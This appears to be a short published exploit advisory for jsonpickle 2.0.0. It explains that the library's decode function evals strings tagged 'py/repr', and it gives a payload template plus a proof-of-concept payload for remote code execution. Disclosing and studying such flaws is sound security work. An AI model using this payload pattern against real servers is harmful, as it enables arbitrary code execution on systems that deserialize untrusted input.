  # Exploit Title: python jsonpickle 2.0.0 - Remote Code Execution # Date: 24-2-2021 # Vendor Homepage: https://jsonpickle.github.io # Exploit Author: Adi Malyanker, Shay Reuven # Software Link: https://github.com/jsonpickle/jsonpickle # Version: 2.0.0 # Tested on: windows, linux   # Python is an open source language. jsonickle module is provided to convert objects into a serialized form, # and later recover the data back into an object. the decode is used to undeserialize serialized strings.   # If malicious data is deserialized, it will execute arbitrary Python commands. It is also possible to make system() calls. # the problem is in the inner function loadrepr function which eval each serialized string which contains "py/repr".   # The vulnerability exists from the first version till the current version for backward compatibility. no patch is provided yet   # the payload was found during our research made on deserialization functions.   # the pattern should be : # {..{"py/repr":<the module to import>/<the command to be executed.>}..}   # example:   malicious = &apos;{"1": {"py/repr": "time/time.sleep(10)"}, "2": {"py/id": 67}}&apos;   # the command on the server side some_parameter = jsonpickle.decode(malicious)
